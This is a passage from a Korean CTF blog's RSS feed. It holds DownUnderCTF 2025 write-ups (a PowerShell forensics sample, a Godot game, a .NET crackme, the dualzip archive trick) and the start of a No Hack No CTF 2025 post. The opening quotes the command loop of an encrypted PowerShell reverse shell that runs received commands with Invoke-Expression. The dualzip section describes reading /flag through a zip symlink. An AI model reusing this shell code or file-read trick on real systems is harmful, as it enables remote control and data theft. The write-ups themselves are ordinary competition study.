    &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$EncryptedReceivedCommand&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$ResponseBuffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;..&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BytesRead&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

    &lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# RC4 복호화 후 UTF8 문자열로 변환&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$DecryptedCommand&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;System.Text.Encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;UTF8.GetString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;RC4&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Key&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$RC4Key&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Data&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$EncryptedReceivedCommand&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

    &lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# &quot;exit&quot; 명령 수신 시 루프 종료&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$DecryptedCommand&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-eq&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;XORDecryptBytes&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-EncryptedBytes&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;@(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;109&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;112&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;97&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;124&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-XORKey&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# &quot;exit&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

    &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# 복호화된 명령을 Invoke-Expression으로 실행하고 결과를 문자열로 캡처&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$CommandOutput&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Invoke-Expression&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$DecryptedCommand&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Out-String&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;catch&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# 명령 실행 중 오류 발생 시 &quot;Error&quot; 메시지 반환&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$CommandOutput&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;XORDecryptBytes&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-EncryptedBytes&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;@(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;186&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;141&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;141&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;144&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;141&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-XORKey&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;255&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# &quot;Error&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

    &lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# 명령 실행 결과를 암호화하여 전송 형식에 맞게 구성&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$EncodedEncryptedOutput&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;EncodeAndEncryptCommand&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-CommandString&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$CommandOutput&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Trim&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# 암호화된 결과 전송&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$NetworkStream&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$EncodedEncryptedOutput&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$EncodedEncryptedOutput&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# 연결 종료&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$NetworkStream&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$TCPClient&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;특정 서버와 연결해, 네트워크로 받은 값을 기반으로 커멘드를 실행하고 값을 보내는 스크립트입니다.&lt;/p&gt;

&lt;p&gt;저는 이 이후에 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$TCPClient.Connect((XORDecryptBytes -EncryptedBytes...&lt;/code&gt; 부분을 조작해 여러 시도를 하였지만 실패하였습니다.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;wireshark에 있는 주소로 해당 값을 변경함 - 해당 ip가 살아있지 않음&lt;/li&gt;
  &lt;li&gt;스크립트를 다운로드 받은 서버의 ip로 설정함 - 로그인 페이지가 불러와짐…&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;여러 시도 끝에, 그냥 wireshark의 패킷을 복호화하는것이라는것을 알아냈으며, wireshark 내부의 데이터를 복호화하여 풀 수 있었습니다.&lt;/p&gt;

&lt;h2 id=&quot;godot&quot;&gt;godot&lt;/h2&gt;

&lt;h3 id=&quot;문제-상황-1&quot;&gt;문제 상황&lt;/h3&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;godot&lt;/code&gt; 게임 파일이 주어졌으며, 게임을 클리어하기에는 조금 힘들었습니다.&lt;/p&gt;

&lt;h3 id=&quot;분석-과정-1&quot;&gt;분석 과정&lt;/h3&gt;

&lt;p&gt;주어진 리소스 파일을 언패킹 시도하였습니다.&lt;/p&gt;

&lt;p&gt;리소스 파일은 키가 필요했으며, &lt;a href=&quot;https://github.com/DmitriySalnikov/GodotPCKExplorer&quot;&gt;PCKExplorer&lt;/a&gt; 레포지토리 내부의 bruteforcer를 빌드하여 실행해 키를 알아냈습니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-07-28-2.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;나온 키를 이용해 언패킹을 시도했는데, 리소스 파일에 플래그나 게임 클리어 판정이 없는듯해보였습니다.&lt;/p&gt;

&lt;p&gt;보다 보니, 기본적으로 배치되는 타일이 뭔가 낭비되는것이 있어보였고, visualizer로 그림으로 그려보니 플래그가 나왔습니다.&lt;/p&gt;

&lt;p&gt;아래는 팀원(S1NS4 신사님)이 도와주어 나온 이미지입니다&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-07-28-3.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;table&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;언패킹 이후에 안 내용인데, 콘솔창을 이용해 게임을 런칭시키면 콘솔창에 로그가 뜨게 되면서, 어떤 좌표에 블럭이 배치되는지 확인 가능해 플래그를 얻을 수 있었습니다.&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&quot;yodawg&quot;&gt;YoDawg&lt;/h2&gt;

&lt;h3 id=&quot;문제-상황-2&quot;&gt;문제 상황&lt;/h3&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ctf&lt;/code&gt; 시뮬레이터 닷넷 앱이었습니다.&lt;/p&gt;

&lt;h3 id=&quot;분석-과정-2&quot;&gt;분석 과정&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dnspy&lt;/code&gt;를 통해 플래그 인증 체크 함수를 무조건 true로 두었습니다.&lt;/li&gt;
  &lt;li&gt;새로운 창이 떠서 새로운 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ctf&lt;/code&gt;창이 뜨길레 로직을 보았습니다. 전역 변수에 있는 값을 이용해 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aes/cbc&lt;/code&gt;복호화 하여 체크하는 로직들이 있었습니다.&lt;/li&gt;
  &lt;li&gt;새로운 창 관련 로직을 보다 보니 수상한 메세지가 있었습니다. 여러 줄에 나누어 출력하는것을 보고 의심해 복호화하였으며, 플래그였습니다.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;des키 - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hack\00\00\00\00&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;aes키 - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;qwertyuiopasdfghjklzxcvbnmNOSURF&lt;/code&gt;, iv - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0123456789DUCTF!&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-07-28-4.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;dualzip&quot;&gt;dualzip&lt;/h2&gt;

&lt;h3 id=&quot;문제-상황-3&quot;&gt;문제 상황&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-07-28-5.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;압축을 풀어, 압축 풀린 파일을 다시 압축해 반환해주는 홈페이지의 소스코드가 담긴 문제입니다.&lt;/p&gt;

&lt;p&gt;지원하는 압축 확장자는 zip, 7z이며 파이썬 프로그램이었습니다.&lt;/p&gt;

&lt;h3 id=&quot;풀이&quot;&gt;풀이&lt;/h3&gt;

&lt;p&gt;zip파일은 심볼릭 링크를 마음대로 설정할 수 있고, 7z파일은 압축 파일 분할을 이용해&lt;/p&gt;

&lt;p&gt;zip의 심볼릭 링크 기능을 이용해 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/flag -&amp;gt; ./archive.z02&lt;/code&gt;파일을 만든 다음&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;archive.zip&lt;/code&gt;을 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;7z&lt;/code&gt;을 이용해 압축 해제하려 할 때 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/flag&lt;/code&gt;의 내용을 읽을 수 있다고 합니다.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/DownUnderCTF/Challenges_2025_Public/blob/main/misc/dualzip/solve/WRITEUP.md&quot;&gt;자세한 풀이는 이곳에 있습니다.&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;플로우&quot;&gt;플로우&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unzip&lt;/code&gt;을 이용해 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/temp/A_sha/../B_sha.z01&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/temp/A_sha/../B_sha.z02&lt;/code&gt;파일을 생성한다. 이때 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;z02&lt;/code&gt;파일은 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/flag&lt;/code&gt;의 심볼릭 링크이다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;un7z&lt;/code&gt;을 이용해 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/temp/B_sha.zip&lt;/code&gt;을 떨군 다음, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;B_sha.z01&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;z02&lt;/code&gt;와 함께 압축을 해제한 뒤 다시 압축하여 전송한다.&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;A&lt;/code&gt;파일을 통해 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;B_sha.z02&lt;/code&gt;파일을 떨구기 위해 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;B_sha&lt;/code&gt;를 지정합니다.
    &lt;ul&gt;
      &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;임시데이터 + 압축 파일 엔트리 헤더&lt;/code&gt;로 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;B.zip&lt;/code&gt;을 떨굴 예정입니다.&lt;/li&gt;
      &lt;li&gt;압축 파일 분할 시, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;z01&lt;/code&gt;이 첫번째 파일, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;z..&lt;/code&gt;이 다음 파일, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;zip&lt;/code&gt;이 마지막 파일이 됩니다.
&lt;img src=&quot;/assets/img/posts/2025-07-28-6.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/li&gt;
      &lt;li&gt;파일 엔트리 관련 헤더는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;z01&lt;/code&gt;에 위치하게 됩니다.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;B.zip&lt;/code&gt;관련 헤더를 넣어 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;z01&lt;/code&gt;파일을 생성합니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;../B_sha.z01&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;z02&lt;/code&gt;를 생성하는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;A.zip&lt;/code&gt;을 생성합니다.&lt;/li&gt;
&lt;/ul&gt;

&lt;table&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;분할 압축 데이터 관련 스펙을 직접 확인해야 하고, zip을 통해 파일을 드랍하기 위해 zip 임의 조작이 필요합니다.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;저는 zip을 통해 파일을 드랍하는것까지 예상하였으나, 드랍된 파일을 다시 압축하는 방법을 생각하지 못했습니다.&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&quot;swiftpasswordmanager-loadme&quot;&gt;SwiftPasswordManager: LoadMe&lt;/h2&gt;

&lt;h3 id=&quot;문제-상황-4&quot;&gt;문제 상황&lt;/h3&gt;

&lt;p&gt;주어진 Swift앱의 save기능을 이용해 데이터를 데이터를 저장한 파일이 주어졌습니다.&lt;/p&gt;

&lt;h3 id=&quot;분석-과정-3&quot;&gt;분석 과정&lt;/h3&gt;

&lt;p&gt;실행 가능한 바이너리가 주어진 줄 모르고 save된 파일만 뜯어보았습니다.&lt;/p&gt;

&lt;p&gt;알고보니 이 문제의 이전 단계 문제가 존재해, 해당 바이너리를 리버싱하는 문제였습니다.&lt;/p&gt;

&lt;h3 id=&quot;풀이-1&quot;&gt;풀이&lt;/h3&gt;

&lt;p&gt;load는 구현되어있지 않지만 save는 구현되어 있는 듯 합니다.&lt;/p&gt;

&lt;p&gt;save 관련 문자열을 찾아 레퍼런스를 따라가면 다음과 같은 함수가 뜹니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-07-28-7.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;기드라나 아이다로 열어봐도 디맹글이 제대로 되지 않는 모습입니다. 전용 디컴파일러를 찾아 실행해보았습니다.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/LaurieWired/Malimite&quot;&gt;Malimite&lt;/a&gt; **IOS 전용인지 윈도우나 리눅스로 구동이 되지 않았습니다&lt;/p&gt;

&lt;table&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;해결 실패&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&quot;작성자의-글&quot;&gt;작성자의 글&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;호환되지 않은 툴이 많아 시간이 많이 소모되었던 것 같습니다.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;참조&quot;&gt;참조&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/DownUnderCTF/Challenges_2025_Public&quot;&gt;공식 Github archive&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Mon, 28 Jul 2025 02:14:00 +0000</pubDate>
        <link>https://slowanalyst.github.io/blog/down-under-ctf-2025/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/blog/down-under-ctf-2025/</guid>
      </item>
    
      <item>
        <title>No Hack No CTF 2025 7문제 문제풀이</title>
        <description>&lt;h2 id=&quot;배경&quot;&gt;배경&lt;/h2&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RubiyaLab CTF&lt;/code&gt;팀으로 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NHNC 2025&lt;/code&gt;에 참여하게 되었습니다.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;기간 : 2025-07-05 09:00 ~ 2025-07-07 21:00 (KST)&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;문제-목록&quot;&gt;문제 목록&lt;/h2&gt;

&lt;p&gt;푼 순서대로&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gitgit&lt;/code&gt; - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Misc 점수 - 441점, 푼 팀 - 28/335팀 First Blood&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Let&apos;s Cook Some Delicious Goose!&lt;/code&gt; - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Misc 점수 - 466점, 푼 팀 - 21/335팀&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Crackme&lt;/code&gt; - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Misc 점수 - 500점, 푼 팀 - 3/335팀 First Blood&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ICED-SHELL&lt;/code&gt; - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Reverse 점수 - 495점, 푼 팀 - 8/335팀&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GuessyCTF&lt;/code&gt; - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GuessyCTF 점수 - 500점, 푼 팀 - 2/335팀 First Blood&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Server Status&lt;/code&gt; - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Pwn 점수 - 475점, 푼 팀 - 18/335팀&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Server Status Revenge&lt;/code&gt; - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Pwn 점수 - 484점, 푼 팀 - 14/335팀&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;gitgit&quot;&gt;gitgit&lt;/h2&gt;

&lt;h3 id=&quot;문제-상황&quot;&gt;문제 상황&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-07-07-0.png&quot; alt=&quot;문제&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Github에 실수로 플래그를 올렸었다는 문제입니다.&lt;/p&gt;

&lt;h3 id=&quot;분석-과정&quot;&gt;분석 과정&lt;/h3&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;github reflog&lt;/code&gt;를 키워드로 검색하여 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://api.github.com/repos/UmmItC/gitgit/events&lt;/code&gt; 을 이용해 어떤 커밋이 올라왔었는지 확인했습니다.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://github.com/UmmItC/gitgit/activity&lt;/code&gt;으로도 확인할 수 있다고 합니다.&lt;/p&gt;

